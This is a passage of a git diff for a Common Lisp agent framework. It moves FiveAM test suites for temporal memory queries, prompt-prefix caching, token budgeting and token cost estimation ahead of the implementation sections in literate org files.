and T1, verify memory-objects-since(T1) returns only T1 nodes." + (clrhash passepartout::*memory-store*) + (let ((t0 (get-universal-time))) + (sleep 1) + (ingest-ast (list :type :HEADLINE :properties (list :ID "time-a" :TITLE "A") :contents nil)) + (ingest-ast (list :type :HEADLINE :properties (list :ID "time-b" :TITLE "B") :contents nil)) + (sleep 1) + (let ((t1 (get-universal-time))) + (sleep 1) + (ingest-ast (list :type :HEADLINE :properties (list :ID "time-c" :TITLE "C") :contents nil)) + (ingest-ast (list :type :HEADLINE :properties (list :ID "time-d" :TITLE "D") :contents nil)) + (let ((since-t1 (passepartout::memory-objects-since t1))) + (is (= 2 (length since-t1))) + (let ((ids (sort (mapcar #'memory-object-id since-t1) #'string<))) + (is (string= "time-c" (first ids))) + (is (string= "time-d" (second ids)))) + (let ((since-t0 (passepartout::memory-objects-since t0))) + (is (= 4 (length since-t0)))))))) + +(test test-memory-objects-in-range + "Contract 2: ingest nodes, verify range query returns correct subset." + (clrhash passepartout::*memory-store*) + (let ((t0 (get-universal-time))) + (sleep 1) + (ingest-ast (list :type :HEADLINE :properties (list :ID "rng-1" :TITLE "One") :contents nil)) + (sleep 1) + (let ((t1 (get-universal-time))) + (sleep 1) + (ingest-ast (list :type :HEADLINE :properties (list :ID "rng-2" :TITLE "Two") :contents nil)) + (sleep 1) + (let ((t2 (get-universal-time))) + (sleep 1) + (ingest-ast (list :type :HEADLINE :properties (list :ID "rng-3" :TITLE "Three") :contents nil)) + (let ((range (passepartout::memory-objects-in-range t1 t2))) + (is (= 1 (length range))) + (is (string= "rng-2" (memory-object-id (first range))))))))) +#+end_src + * Implementation ** Package context @@ -102,55 +155,3 @@ Falls back to context-query if temporal filtering is not requested." (subseq todo-filtered 0 (min max-results (length todo-filtered)))))) #+end_src -* Test Suite -#+begin_src lisp -(eval-when (:compile-toplevel :load-toplevel :execute) - (ql:quickload :fiveam :silent t)) - -(defpackage :passepartout-time-memory-tests - (:use :cl :fiveam :passepartout) - (:export #:time-memory-suite)) - -(in-package :passepartout-time-memory-tests) - -(def-suite time-memory-suite :description "Temporal memory filtering") -(in-suite time-memory-suite) - -(test test-memory-objects-since - "Contract 1: ingest at T0 and T1, verify memory-objects-since(T1) returns only T1 nodes." - (clrhash passepartout::*memory-store*) - (let ((t0 (get-universal-time))) - (sleep 1) - (ingest-ast (list :type :HEADLINE :properties (list :ID "time-a" :TITLE "A") :contents nil)) - (ingest-ast (list :type :HEADLINE :properties (list :ID "time-b" :TITLE "B") :contents nil)) - (sleep 1) - (let ((t1 (get-universal-time))) - (sleep 1) - (ingest-ast (list :type :HEADLINE :properties (list :ID "time-c" :TITLE "C") :contents nil)) - (ingest-ast (list :type :HEADLINE :properties (list :ID "time-d" :TITLE "D") :contents nil)) - (let ((since-t1 (passepartout::memory-objects-since t1))) - (is (= 2 (length since-t1))) - (let ((ids (sort (mapcar #'memory-object-id since-t1) #'string<))) - (is (string= "time-c" (first ids))) - (is (string= "time-d" (second ids)))) - (let ((since-t0 (passepartout::memory-objects-since t0))) - (is (= 4 (length since-t0)))))))) - -(test test-memory-objects-in-range - "Contract 2: ingest nodes, verify range query returns correct subset." - (clrhash passepartout::*memory-store*) - (let ((t0 (get-universal-time))) - (sleep 1) - (ingest-ast (list :type :HEADLINE :properties (list :ID "rng-1" :TITLE "One") :contents nil)) - (sleep 1) - (let ((t1 (get-universal-time))) - (sleep 1) - (ingest-ast (list :type :HEADLINE :properties (list :ID "rng-2" :TITLE "Two") :contents nil)) - (sleep 1) - (let ((t2 (get-universal-time))) - (sleep 1) - (ingest-ast (list :type :HEADLINE :properties (list :ID "rng-3" :TITLE "Three") :contents nil)) - (let ((range (passepartout::memory-objects-in-range t1 t2))) - (is (= 1 (length range))) - (is (string= "rng-2" (memory-object-id (first range))))))))) -#+end_src diff --git a/org/token-economics.org b/org/token-economics.org index 0828931..8d9bdee 100644 --- a/org/token-economics.org +++ b/org/token-economics.org @@ -62,6 +62,108 @@ token-economics is not loaded. Returns nil when no context cache data is available. Consumed by the TUI actuator for the sidebar Context gauge (v0.8.0). +* Test Suite +#+begin_src lisp +(eval-when (:compile-toplevel :load-toplevel :execute) + (ql:quickload :fiveam :silent t)) + +(defpackage :passepartout-token-economics-tests + (:use :cl :fiveam :passepartout) + (:export #:token-economics-suite)) + +(in-package :passepartout-token-economics-tests) + +(def-suite token-economics-suite + :description "Prompt prefix caching, incremental context, token budget") +(in-suite token-economics-suite) + +(test test-prompt-prefix-cached-identity + "Contract 1: prompt-prefix-cached includes identity-content when provided." + (setf (car passepartout::*prompt-prefix-cache*) nil + (cdr passepartout::*prompt-prefix-cache*) "") + (let ((prefix (passepartout::prompt-prefix-cached + "Agent" "### Mode: concise" "" nil "No tools"))) + (is (stringp prefix)) + (is (search "IDENTITY" prefix)) + (is (search "Mode: concise" prefix)) + (is (search "TOOLS" prefix)))) + +(test test-prompt-prefix-cached-builds + "Contract 1: prompt-prefix-cached returns a string containing IDENTITY." + (setf (car passepartout::*prompt-prefix-cache*) nil + (cdr passepartout::*prompt-prefix-cache*) "") + (let ((prefix (passepartout::prompt-prefix-cached "Agent" "" "" nil "No tools"))) + (is (stringp prefix)) + (is (search "IDENTITY" prefix)) + (is (search "TOOLS" prefix)))) + +(test test-prompt-prefix-cached-hits + "Contract 1: second call with same inputs returns cached result." + (setf (car passepartout::*prompt-prefix-cache*) nil + (cdr passepartout::*prompt-prefix-cache*) "") + (let ((p1 (passepartout::prompt-prefix-cached "Agent" "" "" nil "No tools")) + (p2 (passepartout::prompt-prefix-cached "Agent" "" "" nil "No tools"))) + (is (string= p1 p2)))) + +(test test-prompt-prefix-cached-miss + "Contract 1: different inputs rebuild the cache." + (setf (car passepartout::*prompt-prefix-cache*) nil + (cdr passepartout::*prompt-prefix-cache*) "") + (let ((p1 (passepartout::prompt-prefix-cached "Agent" "" "" nil "No tools")) + (p2 (passepartout::prompt-prefix-cached "Bot" "" "" nil "No tools"))) + (is (not (string= p1 p2))) + (is (search "Bot" p2)))) + +(test test-context-assemble-cached-skips-heartbeat + "Contract 2: heartbeat sensors skip context assembly, return nil." + (let ((result (passepartout::context-assemble-cached + '(:foveal-focus "id1") :heartbeat))) + (is (null result)))) + +(test test-context-assemble-cached-skips-delegation + "Contract 2: delegation sensors also skip assembly." + (let ((result (passepartout::context-assemble-cached + '(:foveal-focus "id1") :delegation))) + (is (null result)))) + +(test test-context-assemble-cached-non-skip + "Contract 2: user-input sensors attempt assembly (fails gracefully without awareness)." + (let ((result (passepartout::context-assemble-cached + '(:foveal-focus "id1") :user-input))) + (is (stringp result)) + (is (> (length result) 0)))) + +(test test-enforce-token-budget-passthrough + "Contract 3: under-budget prompts pass through unchanged." + (multiple-value-bind (p c l u m) + (passepartout::enforce-token-budget "hi" "ctxt" "log" "user" nil 100000) + (is (string= "hi" p)) + (is (string= "ctxt" c)) + (is (string= "log" l)) + (is (string= "user" u)) + (is (null m)))) + +(test test-enforce-token-budget-trims + "Contract 3: over-budget prompts get trimmed." + (let ((big-prefix (make-string 20000 :initial-element #\x))) + (multiple-value-bind (p c l u m) + (passepartout::enforce-token-budget big-prefix "ctxt" "logs\nlogs\nlogs\nlogs\nlogs\nlogs\nlogs" "user" nil 10) + (declare (ignore p l u m)) + ;; The prefix itself exceeds the tiny 10-token budget, so everything gets trimmed + (is (or (stringp c) (null c))) + (is (search "[Context trimmed" (or c "")))))) + +(test test-token-economics-initialize + "Contract 4: initialize zeroes all cache state." + (setf (car passepartout::*prompt-prefix-cache*) 12345 + (cdr passepartout::*prompt-prefix-cache*) "stale") + (setf (getf passepartout::*context-cache* :rendered) "stale context") + (passepartout::token-economics-initialize) + (is (null (car passepartout::*prompt-prefix-cache*))) + (is (string= "" (cdr passepartout::*prompt-prefix-cache*))) + (is (string= "" (getf passepartout::*context-cache* :rendered)))) +#+end_src + * Implementation ** Package context @@ -209,108 +311,6 @@ Returns nil when no context cache data is available." nil))) #+end_src -* Test Suite -#+begin_src lisp -(eval-when (:compile-toplevel :load-toplevel :execute) - (ql:quickload :fiveam :silent t)) - -(defpackage :passepartout-token-economics-tests - (:use :cl :fiveam :passepartout) - (:export #:token-economics-suite)) - -(in-package :passepartout-token-economics-tests) - -(def-suite token-economics-suite - :description "Prompt prefix caching, incremental context, token budget") -(in-suite token-economics-suite) - -(test test-prompt-prefix-cached-identity - "Contract 1: prompt-prefix-cached includes identity-content when provided." - (setf (car passepartout::*prompt-prefix-cache*) nil - (cdr passepartout::*prompt-prefix-cache*) "") - (let ((prefix (passepartout::prompt-prefix-cached - "Agent" "### Mode: concise" "" nil "No tools"))) - (is (stringp prefix)) - (is (search "IDENTITY" prefix)) - (is (search "Mode: concise" prefix)) - (is (search "TOOLS" prefix)))) - -(test test-prompt-prefix-cached-builds - "Contract 1: prompt-prefix-cached returns a string containing IDENTITY." - (setf (car passepartout::*prompt-prefix-cache*) nil - (cdr passepartout::*prompt-prefix-cache*) "") - (let ((prefix (passepartout::prompt-prefix-cached "Agent" "" "" nil "No tools"))) - (is (stringp prefix)) - (is (search "IDENTITY" prefix)) - (is (search "TOOLS" prefix)))) - -(test test-prompt-prefix-cached-hits - "Contract 1: second call with same inputs returns cached result." - (setf (car passepartout::*prompt-prefix-cache*) nil - (cdr passepartout::*prompt-prefix-cache*) "") - (let ((p1 (passepartout::prompt-prefix-cached "Agent" "" "" nil "No tools")) - (p2 (passepartout::prompt-prefix-cached "Agent" "" "" nil "No tools"))) - (is (string= p1 p2)))) - -(test test-prompt-prefix-cached-miss - "Contract 1: different inputs rebuild the cache." - (setf (car passepartout::*prompt-prefix-cache*) nil - (cdr passepartout::*prompt-prefix-cache*) "") - (let ((p1 (passepartout::prompt-prefix-cached "Agent" "" "" nil "No tools")) - (p2 (passepartout::prompt-prefix-cached "Bot" "" "" nil "No tools"))) - (is (not (string= p1 p2))) - (is (search "Bot" p2)))) - -(test test-context-assemble-cached-skips-heartbeat - "Contract 2: heartbeat sensors skip context assembly, return nil." - (let ((result (passepartout::context-assemble-cached - '(:foveal-focus "id1") :heartbeat))) - (is (null result)))) - -(test test-context-assemble-cached-skips-delegation - "Contract 2: delegation sensors also skip assembly." - (let ((result (passepartout::context-assemble-cached - '(:foveal-focus "id1") :delegation))) - (is (null result)))) - -(test test-context-assemble-cached-non-skip - "Contract 2: user-input sensors attempt assembly (fails gracefully without awareness)." - (let ((result (passepartout::context-assemble-cached - '(:foveal-focus "id1") :user-input))) - (is (stringp result)) - (is (> (length result) 0)))) - -(test test-enforce-token-budget-passthrough - "Contract 3: under-budget prompts pass through unchanged." - (multiple-value-bind (p c l u m) - (passepartout::enforce-token-budget "hi" "ctxt" "log" "user" nil 100000) - (is (string= "hi" p)) - (is (string= "ctxt" c)) - (is (string= "log" l)) - (is (string= "user" u)) - (is (null m)))) - -(test test-enforce-token-budget-trims - "Contract 3: over-budget prompts get trimmed." - (let ((big-prefix (make-string 20000 :initial-element #\x))) - (multiple-value-bind (p c l u m) - (passepartout::enforce-token-budget big-prefix "ctxt" "logs\nlogs\nlogs\nlogs\nlogs\nlogs\nlogs" "user" nil 10) - (declare (ignore p l u m)) - ;; The prefix itself exceeds the tiny 10-token budget, so everything gets trimmed - (is (or (stringp c) (null c))) - (is (search "[Context trimmed" (or c "")))))) - -(test test-token-economics-initialize - "Contract 4: initialize zeroes all cache state." - (setf (car passepartout::*prompt-prefix-cache*) 12345 - (cdr passepartout::*prompt-prefix-cache*) "stale") - (setf (getf passepartout::*context-cache* :rendered) "stale context") - (passepartout::token-economics-initialize) - (is (null (car passepartout::*prompt-prefix-cache*))) - (is (string= "" (cdr passepartout::*prompt-prefix-cache*))) - (is (string= "" (getf passepartout::*context-cache* :rendered)))) -#+end_src - * v0.8.0 Tests — Context Usage #+begin_src lisp (in-package :passepartout-token-economics-tests) diff --git a/org/tokenizer.org b/org/tokenizer.org index ea3e613..3d651a8 100644 --- a/org/tokenizer.org +++ b/org/tokenizer.org @@ -30,6 +30,81 @@ The tokenizer feeds three subsystems: model and token count (combined input+output at input prices — slight overestimate is safer than underestimate for budgeting). +* Test Suite +#+begin_src lisp +(eval-when (:compile-toplevel :load-toplevel :execute) + (ql:quickload :fiveam :silent t)) + +(defpackage :passepartout-tokenizer-tests + (:use :cl :fiveam :passepartout) + (:export #:tokenizer-suite)) + +(in-package :passepartout-tokenizer-tests) + +(def-suite tokenizer-suite :description "Token counting and cost estimation") +(in-suite tokenizer-suite) + +(test test-count-tokens-default + "Contract 1: count-tokens returns non-zero for a non-empty string." + (let ((count (count-tokens "hello world"))) + (is (> count 0)) + (is (integerp count)))) + +(test test-count-tokens-known-model + "Contract 1: count-tokens with a known model returns a count." + (let ((count (count-tokens "hello world" :model :gpt-4o-mini))) + (is (> count 0)) + (is (integerp count)))) + +(test test-count-tokens-unknown-model + "Contract 1: count-tokens with an unknown model falls back to default." + (let ((count (count-tokens "hello world" :model :unknown-model-xyz))) + (is (> count 0)) + (is (integerp count)))) + +(test test-count-tokens-empty + "Contract 1: count-tokens on empty string returns 0." + (let ((count (count-tokens ""))) + (is (= 0 count)))) + +(test test-model-token-ratio-known + "Contract 2: known model returns correct ratio." + (is (= 4.0 (model-token-ratio :gpt-4o-mini))) + (is (= 4.5 (model-token-ratio :claude-3-5-sonnet))) + (is (= 3.5 (model-token-ratio :llama-3.1-70b)))) + +(test test-model-token-ratio-unknown + "Contract 2: unknown model returns default ratio." + (is (= 4.0 (model-token-ratio :unknown-model-abc)))) + +(test test-token-cost-known + "Contract 3: token-cost returns a number for known model." + (let ((cost (token-cost :gpt-4o-mini 1000))) + (is (numberp cost)) + (is (> cost 0.0)))) + +(test test-token-cost-unknown + "Contract 3: token-cost returns 0.0 for unknown model." + (is (= 0.0 (token-cost :no-such-model 1000)))) + +(test test-provider-token-cost + "Contract: provider-token-cost maps provider to model price." + (let ((cost (provider-token-cost :deepseek 1000))) + (is (numberp cost)) + (is (> cost 0.0)))) + +(test test-count-tokens-ratio-sensitivity + "Contract 1: longer text produces proportionally more tokens." + (let ((short (count-tokens "hi" :model :gpt-4o-mini)) + (long (count-tokens "this is a much longer piece of text with many words in it" :model :gpt-4o-mini))) + (is (> long short)))) + +(test test-count-tokens-non-string + "Contract 1: non-string values are coerced and counted." + (let ((count (count-tokens 12345))) + (is (> count 0)))) +#+end_src + * Implementation ** Package Context @@ -150,77 +225,3 @@ Uses the provider's default model for pricing." 0.0))) #+end_src -* Test Suite -#+begin_src lisp -(eval-when (:compile-toplevel :load-toplevel :execute) - (ql:quickload :fiveam :silent t)) - -(defpackage :passepartout-tokenizer-tests - (:use :cl :fiveam :passepartout) - (:export #:tokenizer-suite)) - -(in-package :passepartout-tokenizer-tests) - -(def-suite tokenizer-suite :description "Token counting and cost estimation") -(in-suite tokenizer-suite) - -(test test-count-tokens-default - "Contract 1: count-tokens returns non-zero for a non-empty string." - (let ((count (count-tokens "hello world"))) - (is (> count 0)) - (is (integerp count)))) - -(test test-count-tokens-known-model - "Contract 1: count-tokens with a known model returns a count." - (let ((count (count-tokens "hello world" :model :gpt-4o-mini))) - (is (> count 0)) - (is (integerp count)))) - -(test test-count-tokens-unknown-model - "Contract 1: count-tokens with an unknown model falls back to default." - (let ((count (count-tokens "hello world" :model :unknown-model-xyz))) - (is (> count 0)) - (is (integerp count)))) - -(test test-count-tokens-empty - "Contract 1: count-tokens on empty string returns 0." - (let ((count (count-tokens ""))) - (is (= 0 count)))) - -(test test-model-token-ratio-known - "Contract 2: known model returns correct ratio." - (is (= 4.0 (model-token-ratio :gpt-4o-mini))) - (is (= 4.5 (model-token-ratio :claude-3-5-sonnet))) - (is (= 3.5 (model-token-ratio :llama-3.1-70b)))) - -(test test-model-token-ratio-unknown - "Contract 2: unknown model returns default ratio." - (is (= 4.0 (model-token-ratio :unknown-model-abc)))) - -(test test-token-cost-known - "Contract 3: token-cost returns a number for known model." - (let ((cost (token-cost :gpt-4o-mini 1000))) - (is (numberp cost)) - (is (> cost 0.0)))) - -(test test-token-cost-unknown - "Contract 3: token-cost returns 0.0 for unknown model." - (is (= 0.0 (token-cost :no-such-model 1000)))) - -(test test-provider-token-cost - "Contract: provider-token-cost maps provider to model price." - (let ((cost (provider-token-cost :deepseek 1000))) - (is (numberp cost)) - (is (> cost 0.0)))) - -(test test-count-tokens-ratio-sensitivity - "Contract 1: longer text produces proportionally more tokens." - (let ((short (count-tokens "hi" :model :gpt-4o-mini)) - (long (count-tokens "this is a much longer piece of text with many words in it" :model :gpt-4o-mini))) - (is (> long short)))) - -(test test-count-tokens-non-string - "Contract 1: non-string values are coerced and counted." - (let ((count (count-tokens 12345))) - (is (> count 0)))) -#+end_src diff --git a/passepartout.asd b/passepartout.asd index 0a3155b..00dc3a4 100644 --- a/passepartout.asd +++ b/passepartout.asd @@ -6,7 +6,7 @@ :description "The Probabilistic-Deterministic Lisp Machine" :depends-on (:usocket :bordeaux-threads :dexador :uiop :cl-dotenv :cl-ppcre :hunchentoot :ironclad :str :cl-json :uuid) :serial t - :components ((:file "lisp/core-package") + :components ((:file "lisp/core-package") (:file "lisp/core-skills") (:file "lisp/core-transport") (:file "lisp/core-memory")